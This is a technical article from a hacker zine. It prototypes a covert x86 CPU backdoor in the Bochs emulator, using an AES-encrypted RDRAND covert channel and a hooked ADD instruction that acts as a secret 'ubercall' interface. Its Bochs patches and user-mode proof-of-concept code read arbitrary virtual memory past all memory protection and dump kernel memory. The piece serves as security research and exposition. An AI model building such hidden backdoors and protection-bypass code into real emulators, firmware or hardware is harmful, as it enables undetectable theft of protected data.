8 Prototyping a generic x86 backdoor in Bochs; or, I'll see your RDRAND backdoor and raise you a covert channel!

by Matilda

Inspired by Taylor Hornby's article in PoC||GTFO 3:6 about a way to backdoor RDRAND, I designed and prototyped a general backdoor for an x86 CPU that, without knowing a 128 bit AES key, can only be proven to exist by reverse-engineering the die of the CPU.

In order to have a functioning backdoor we need several things. We need a context in which to execute backdoor code and ways to communicate with the backdoor code. The first one is easy to solve. If we are able to create new hardware on the CPU die, we can add an additional processor on it with a bit of memory and have it be totally independent from any of the code that the x86 CPU executes. Let's call this or its Bochs emulation an Ubervisor.

We store the state for the ubervisor in an appropriately-named structure.

```
struct {
    /* data to be encrypted */
    uint8_t evilbyte=0xff;
    uint8_t evilstatus=0xff;
    /* counter for output covert channel */
    uint64_t counter = 0;      /* incremented by 1 each time RDRAND
                                  is called */
    uint64_t i_counter = 0;    /* each time we enter ADD_GqEqR we evaluate
                                  ((RAX << 64) | RBX) ^ AES_k(i_counter)
                                  and if it gives us the magic number we end
                                  up incrementing i_counter twice (to generate
                                  256 bits of keystream, as we read 4 64 bit
                                  regs). If we do not get the magic number,
                                  we *do not* increment i_counter. this allows
                                  us to remain in synchronization */
    /* key */
    uint8_t aes_key [17] = "YELLOW SUBMARINE";

    /* output status is 0 if we need to output the high half of the
       block, or 1 if we need to output the low half (and then increment the
       counter afterwards, of course) */
    uint8_t out_stat = 0;
} evil;
```

Communicating with the backdoor is harder. We need to find out how to pass data from user mode x86 code to the ubervisor. No code running on the CPU—whether in user mode, kernel mode, or even SMM mode—should be able to determine if the CPU is backdoored.

8.1 Data exfiltration using RDRAND as a covert channel.

Let's first focus on communication from the ubervisor to user mode x86 code.

An obvious choice to sneak data from the ubervisor to user mode x86 code is using RDRAND. There is no way, besides reverse engineering the circuits implementing RDRAND, to tell whether the output of RDRAND is acting as a covert channel. All other instructions may be comparable to legitimate known-good reference CPU values against a possibly-backdoored CPU, where all registers and memory are checked after each instruction. RDRAND being non-deterministic by nature, it is not possible to perform the same differential analysis to detect backdoors without reverting to more costly techniques, such as timing analysis.

Our implementation of an RDRAND covert channel goes in the Bochs function `BX_CPU_C::RDRAND_Eq(bxInstruction_c *i)`.

```
Bit64u val_64 = 0;
uint8_t ibuf[16];
/* input buffer is organized like this:
   8 bytes -- counter
   6 bytes of padding
   1 byte -- evilstatus
   1 byte -- evilbyte */
uint8_t obuf[16];
AES_KEY keyctx;

AES_set_encrypt_key(BX_CPU_THIS_PTR evil.aes_key, 128, &keyctx);

memcpy(ibuf,              &(BX_CPU_THIS_PTR evil.counter),    8);
memset(ibuf + 8,          0xfe,                               6);
memcpy(ibuf + 8 + 6,      &(BX_CPU_THIS_PTR evil.evilstatus), 1);
memcpy(ibuf + 8 + 6 + 1,  &(BX_CPU_THIS_PTR evil.evilbyte),   1);

AES_encrypt(ibuf, obuf, &keyctx);

if (BX_CPU_THIS_PTR evil.out_stat == 0) {    /* output high half */
    memcpy(&val_64, obuf, 8);
    BX_CPU_THIS_PTR evil.out_stat = 1;
} else {                                      /* output low half */
    memcpy(&val_64, obuf + 8, 8);
    BX_CPU_THIS_PTR evil.out_stat = 0;
    BX_CPU_THIS_PTR evil.counter++;
}

BX_WRITE_64BIT_REG(i->dst(), val_64);
```

Note that the output of RDRAND in the above code is $AES_k(nonce \| counter)$, where we encode the data we wish to exfiltrate *in the nonce*. The 64-bit counter is there just to make the output look random to anyone who does not know the key. Unlike the standard uses of the counter mode, there is no xor-with-keystream involved in our exfiltration at all; what we do is equivalent to using the CTR mode for encrypting a plaintext of all zeros while transmitting actual data through the nonces.

The reason for this tweak is synchronization. Legitimate code may call RDRAND any number of times between our own invocations. If we used the CTR mode to generate a keystream to XOR with the data we exfiltrated, we would not be able to deduce the offset within the keystream given RDRAND values from two sequential calls. With our nonce-based method, we suffer from no synchronization issues and retain all security properties of the CTR mode.

Unless the counter overflows, the output of this version of RDRAND cannot be distinguished from random data unless you know the AES key. Overflows can be avoided by incrementing the key just before the counter overflows.

All we need now is to receive data from this covert channel as the output of two consecutive RDRAND executions. In the rare case that the OS preempts us between the two RDRAND instructions to run RDRAND for itself or another process, we need to try executing the two RDRANDs again. In practice, this form of interruption has not been observed.

8.2 Data Infiltration to the Ubervisor

We now need to find a way for user mode x86 code to communicate data *to* the ubervisor while keeping it impossible to detect it is doing so. First, we need to encrypt all the data we send to the ubervisor. Second, we need a way to signal to the ubervisor that we would like to send it data.

I decided to hook the `ADD_EqGqM` function, which is called when an ADD operation on two 64 bit general registers is decoded. In order to signal to the ubervisor that there is valid encrypted data in the registers, we put an encrypted magic cookie in RAX and RBX and test for it each time the hooked instruction is decoded. If the magic cookie is found in RAX/RBX, we extract the encrypted data from RCX/RDX.

We encrypt the data with AES in counter mode, using a different counter than is used for the RDRAND exfiltration. Again, we have a synchronization issue: how can we make sure we always know where the ubervisor's counter is? We resolve this by having the counter increment only when we see a valid magic cookie and, of course, for each 128-bit chunk of keystream we generate afterwards (used to decrypt the data we are sending to the ubervisor). That way, the ubervisor's counter is always known to us, regardless of how many times the hooked instruction is executed.

Note that CTR mode is malleable. If this were a production system, I would include a MAC and store the MAC result in an additional register pair.

Here is the backdoored `ADD_GqEqR` function:

```
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::ADD_GqEqR(bxInstruction_c *i)
{
    Bit64u op1_64, op2_64, sum_64;
    uint8_t error = 1;
    uint8_t data = 0xcc;
    uint8_t keystream [16];

    op1_64 = BX_READ_64BIT_REG(i->dst());
    op2_64 = BX_READ_64BIT_REG(i->src());
    sum_64 = op1_64 + op2_64;

    /* Ubercall calling convention:
    authentication:
    RAX = 0x99a0086fba28dfd1
    RBX = 0xe2dd84b5c9688a03

    arguments:
    RCX = ubercall number
    RDX = argument 1 (usually an address)
    RSI = argument 2 (usually a value)

    testing only:
    RDI = return value
    RBP = error indicator (1 iff an error occurred)
    ^^^^^ testing only ^^^^^

    ubercall numbers:
    RCX = 0xabadbabe00000001 is PEEK to a virtual address
    return *(uint8_t *) RDX
    RCX = 0xabadbabe00000002 is POKE to a virtual address
     *(uint8_t *) RDX = RSI
     if the page table walk fails, we don't generate any kind of fault or
     exception, we just write 1 to the error indicator field.

     the page table that is used is the one that is used when the current
     process accesses memory

     RCX = 0xabadbabe00000003 is PEEK to a physical address
     return *(uint8_t *) RDX
     RCX = 0xabadbabe00000004 is POKE to a physical address
     *(uint8_t *) RDX = RSI

     (we only read/write 1 byte at a time because anything else could
     involve alignment issues and/or access that cross page boundaries)
     */

    ctr_output(keystream);
    if (     ((RAX ^ *((uint64_t *) keystream)) == 0x99a0086fba28dfd1)
         && ((RBX ^ *((uint64_t *) keystream + 1)) == 0xe2dd84b5c9688a03)) {
        // we have a valid ubercall, let's do this texas-style
        printf("COUNTER = %016lX\n", BX_CPU_THIS_PTR evil.i_counter);
        printf("entered ubercall! RAX = %016lX RBX = %016lX RCX = %016lX RDX = %016lX\n",
                RAX, RBX, RCX, RDX);
        BX_CPU_THIS_PTR evil.i_counter++;
        ctr_output(keystream);
        BX_CPU_THIS_PTR evil.i_counter++;

        switch (RCX ^ *((uint64_t *) keystream)) {
            case 0xabadbabe00000001: // peek, virtual
                access_read_linear_nofail(RDX ^ *((uint64_t *) keystream + 1),
                                          1, 0, BX_READ, (void *) &data, &error);
                BX_CPU_THIS_PTR evil.evilbyte = data;
                BX_CPU_THIS_PTR evil.evilstatus = error;
                break;
        }
        BX_CPU_THIS_PTR evil.out_stat = 0; /* we start at the hi half of the
                                              output block now */
    }

    BX_WRITE_64BIT_REG(i->dst(), sum_64);

    SET_FLAGS_OSZAPC_ADD_64(op1_64, op2_64, sum_64);

    BX_NEXT_INSTR(i);
}

void BX_CPU_C::ctr_output(uint8_t *out) {
    uint8_t ibuf [16];

    AES_KEY keyctx;
    AES_set_encrypt_key(BX_CPU_THIS_PTR evil.aes_key, 128, &keyctx);

    memset(ibuf, 0xef, 16);
    memcpy(ibuf, &(BX_CPU_THIS_PTR evil.i_counter), 8);
    AES_encrypt(ibuf, out, &keyctx);
}
```

8.3 Fun things to do in Ring -4

Now that we have ways to get data in and out of the ubervisor, we need to consider what exactly can be done within the ubervisor. In the general case, we create a bit of memory space and register space for our ubervisor and have ubercalls that allow reading and writing from the ubervisor's memory space as well as starting and stopping the ubervisor execution to load and execute arbitrary code isolated from the x86 core.

For sake of simplicity, I just implemented one ubercall which reads a byte from the specified virtual address and returns it via the RDRAND covert channel. This is done by ignoring all memory protection mechanisms. I needed to make copies of all the functions involved in converting a long mode virtual address into a physical address and strip out any code that changes the state of the CPU, including anything which adds entries to the TLB or causes exceptions or faults.

This is what the function called `access_read_linear_nofail` does.

```
/* implementations of byte-at-a-time virtual read/writes for long mode that
   never cause faults/exceptions and maybe do not affect TLB content */

#define NEED_CPU_REG_SHORTCUTS 1
#include "bochs.h"
#include "cpu.h"
#define LOG_THIS BX_CPU_THIS_PTR
#define BX_CR3_PAGING_MASK     (BX_CONST64(0x000ffffffffff000))
#define PAGE_DIRECTORY_NX_BIT  (BX_CONST64(0x8000000000000000))
#define BX_PAGING_PHY_ADDRESS_RESERVED_BITS \
                (BX_PHY_ADDRESS_RESERVED_BITS & BX_CONST64(0xffffffffffff))
#define PAGING_PAE_RESERVED_BITS (BX_PAGING_PHY_ADDRESS_RESERVED_BITS)
#define BX_LEVEL_PML4  3
#define BX_LEVEL_PDPTE 2
#define BX_LEVEL_PDE   1
#define BX_LEVEL_PTE   0

// keep it 4 letters
static const char *bx_paging_level[4] = { "PTE", "PDE", "PDPE", "PML4" };

Bit8u BX_CPP_AttrRegparmN(2)
BX_CPU_C::read_virtual_byte_64_nofail(unsigned s, Bit64u offset, uint8_t *error)
{
    Bit8u data;
    Bit64u laddr = get_laddr64(s, offset); // this is safe

    if (! IsCanonical(laddr)) {
        *error = 1;
        return 0;
    }

    access_read_linear_nofail(laddr, 1, 0, BX_READ, (void *) &data, error);
    return data;
}

int BX_CPU_C::access_read_linear_nofail(bx_address laddr, unsigned len,
                                        unsigned curr_pl, unsigned xlate_rw,
                                        void *data, uint8_t *error)
{
    Bit32u combined_access = 0x06;
    Bit32u lpf_mask = 0xfff; // 4K pages
    bx_phy_address paddress, ppf, poffset = PAGE_OFFSET(laddr);

    paddress = translate_linear_long_mode_nofail(laddr, error);
    paddress = A20ADDR(paddress);
    if (*error == 1) {
        return 0;
    }
    access_read_physical(paddress, len, data);

    return 0;
}


bx_phy_address BX_CPU_C::translate_linear_long_mode_nofail(bx_address laddr, uint8_t *error)
{
    bx_phy_address entry_addr[4];
    bx_phy_address ppf = BX_CPU_THIS_PTR cr3 & BX_CR3_PAGING_MASK;
    Bit64u entry[4];
    bx_bool nx_fault = 0;
    int leaf;

    Bit64u offset_mask = BX_CONST64(0x0000ffffffffffff);

    Bit64u reserved = PAGING_PAE_RESERVED_BITS;
    if (! BX_CPU_THIS_PTR efer.get_NXE())
        reserved |= PAGE_DIRECTORY_NX_BIT;

    for (leaf = BX_LEVEL_PML4;; --leaf) {
        entry_addr[leaf] = ppf + ((laddr >> (9 + 9*leaf)) & 0xff8);

        access_read_physical(entry_addr[leaf], 8, &entry[leaf]);
       BX_NOTIFY_PHY_MEMORY_ACCESS(entry_addr[leaf], 8, BX_READ, (BX_PTE_ACCESS + leaf),
                                    (Bit8u*)(&entry[leaf]) );
        offset_mask >>= 9;

        Bit64u curr_entry = entry[leaf];
        int fault = check_entry_PAE(bx_paging_level[leaf], curr_entry,
                                    reserved, 0, &nx_fault);
        if (fault >= 0) {
            *error = 1;
            return 0;
        }

        ppf = curr_entry & BX_CONST64(0x000ffffffffff000);

        if (leaf == BX_LEVEL_PTE) break;

        if (curr_entry & 0x80) {
            if (leaf > (BX_LEVEL_PDE + !!bx_cpuid_support_1g_paging())) {
                BX_DEBUG(("PAE %s: PS bit set !", bx_paging_level[leaf]));
                *error = 1;
                return 0;
            }

            ppf &= BX_CONST64(0x000fffffffffe000);
            if (ppf & offset_mask) {
                BX_DEBUG(("PAE %s: reserved bit is set: 0x" FMT_ADDRX64,
                          bx_paging_level[leaf], curr_entry));
                *error = 1;
                return 0;
            }

            break;
        }
    } /* for (leaf = BX_LEVEL_PML4;; --leaf) */


    *error = 0;
    return ppf | (laddr & offset_mask);
}
```

Please note that the above code chokes if reading more than one byte, because for simplicity, I have removed all code that deals with alignment issues and reads that span multiple pages.

If we were making an actual CPU with this backdoor mechanism, we would be more devious: instead of commanding a read when we make the ubercall, we would wait until the requested memory address is read by a legitimate process. This is so that the operation is not observable by looking at the activity on the wiring between the CPU and memory. That way, no software *or* hardware observation can reveal the presence of this type of backdoor besides analyzing the CPU die itself.

Note that anything that the CPU can access has to be accessible by this type of backdoor. There is no way to hide your information from this backdoor and still be able to process it with your CPU.

8.4 A PoC to dump kernel memory.

Once we have patched Bochs, we can start up Linux and run the following code to dump an arbitrary range of virtual memory:

```
#include <openssl/aes.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdio.h>

struct ctrctx {
    uint64_t counter;
    uint8_t aeskey [16];
};

void poke() {
    volatile uint64_t c,d;
    c = 0xaaabadbadbadbeef;
    d = 0xbeefbeefbeefbeef;
    asm volatile("rdrand  %0\n\t"
                 "rdrand  %1": "=r"(c), "=r"(d));
    printf("%016lX", c);
    printf("%016lX\n", d);
}

int main() {
    volatile uint64_t rax;
    volatile uint64_t rbx;
    volatile uint64_t rcx;
    volatile uint64_t rdx;
    uint64_t base, len, i;

    struct ctrctx ctx;
    uint8_t buf [16];

    base = 0xffffffff8105c7e0;
    len = 1024;
    ctx.counter = 0;
    memcpy(ctx.aeskey, "YELLOW SUBMARINE", 16);

    for (i = base; i < base + len; i++) {
        ctr_output(buf, &ctx);

        rax = 0x99a0086fba28dfd1;
        rbx = 0xe2dd84b5c9688a03;
        rcx = 0xabadbabe00000001;
        rdx = i;

        rax ^= *((uint64_t *) buf);
        rbx ^= *((uint64_t *) buf + 1);
        ctx.counter++;
        ctr_output(buf, &ctx);
        rcx ^= *((uint64_t *) buf);
        rdx ^= *((uint64_t *) buf + 1);
        ctx.counter++;

        asm volatile(
            "add %0, %1" : "=a" (rax) : "a" (rax), "b" (rbx), "c" (rcx), "d" (rdx): );

        poke();
    }
}

void ctr_output(uint8_t *output, struct ctrctx *ctx) {
    uint8_t ibuf [16];

    AES_KEY keyctx;
    AES_set_encrypt_key(ctx->aeskey, 128, &keyctx);

    memset(ibuf, 0xef, 16);
    memcpy(ibuf, &(ctx->counter), 8);
    AES_encrypt(ibuf, output, &keyctx);
}
```

In the above code, an output in `peek_output` will generate a memory dump. Look at the last byte in each 16 byte block for the bytes of data.[12]

```
for foo in ‘cat peek_output‘; do echo -n $foo |xxd -r -p | ./qw |
openssl enc -d -aes-128-ecb -nopad -K 59454c4c4f57205355424d4152494e45|xxd >> dump;done}
```

Here are the first few lines of a dump, beginning at `0xffffffff8105c7e0`.

```
0000000: db10 0000 0000 0000 fefe fefe fefe 00c0  ................
0000000: dc10 0000 0000 0000 fefe fefe fefe 00be  ................
0000000: dd10 0000 0000 0000 fefe fefe fefe 009f  ................
0000000: de10 0000 0000 0000 fefe fefe fefe 0000  ................
0000000: df10 0000 0000 0000 fefe fefe fefe 0000  ................
0000000: e010 0000 0000 0000 fefe fefe fefe 0000  ................
0000000: e110 0000 0000 0000 fefe fefe fefe 0048  ...............H
0000000: e210 0000 0000 0000 fefe fefe fefe 00c7  ................
0000000: e310 0000 0000 0000 fefe fefe fefe 00c7  ................
0000000: e410 0000 0000 0000 fefe fefe fefe 00d8  ................
0000000: e510 0000 0000 0000 fefe fefe fefe 002f  .............../
0000000: e610 0000 0000 0000 fefe fefe fefe 006f  ...............o
0000000: e710 0000 0000 0000 fefe fefe fefe 0081  ................
0000000: e810 0000 0000 0000 fefe fefe fefe 00e8  ................
0000000: e910 0000 0000 0000 fefe fefe fefe 000e  ................
0000000: ea10 0000 0000 0000 fefe fefe fefe 00bd  ................
```

Look at the first few bytes starting at `0xffffffff8105c7e0`, which is in the text section of the kernel. Run `./extract-vmlinux` on the `vmlinuz` file and `objdump -d` to extract the code.

If you compare the first few bytes of the dump above with the output of `objdump`, you will find a match!

```
ffffffff8105c7df:       75 c0
ffffffff8105c7e1:       be 9f 00 00 00
ffffffff8105c7e6:       48 c7 c7 d8 2f 6f 81
ffffffff8105c7ed:       e8 0e bd ff ff
```

Note that throughout the execution of this program, all the deterministic register/memory state is *identical* whether or not you run it on a CPU that has this backdoor. Full code is available by unzipping this PDF file.[13]

[12]The `./qw` directive simply swaps endianess on all bytes in each quadword because of how we copied data from the output buffer for AES into the registers.

[13]`git clone https://github.com/matildah/bochsdoor`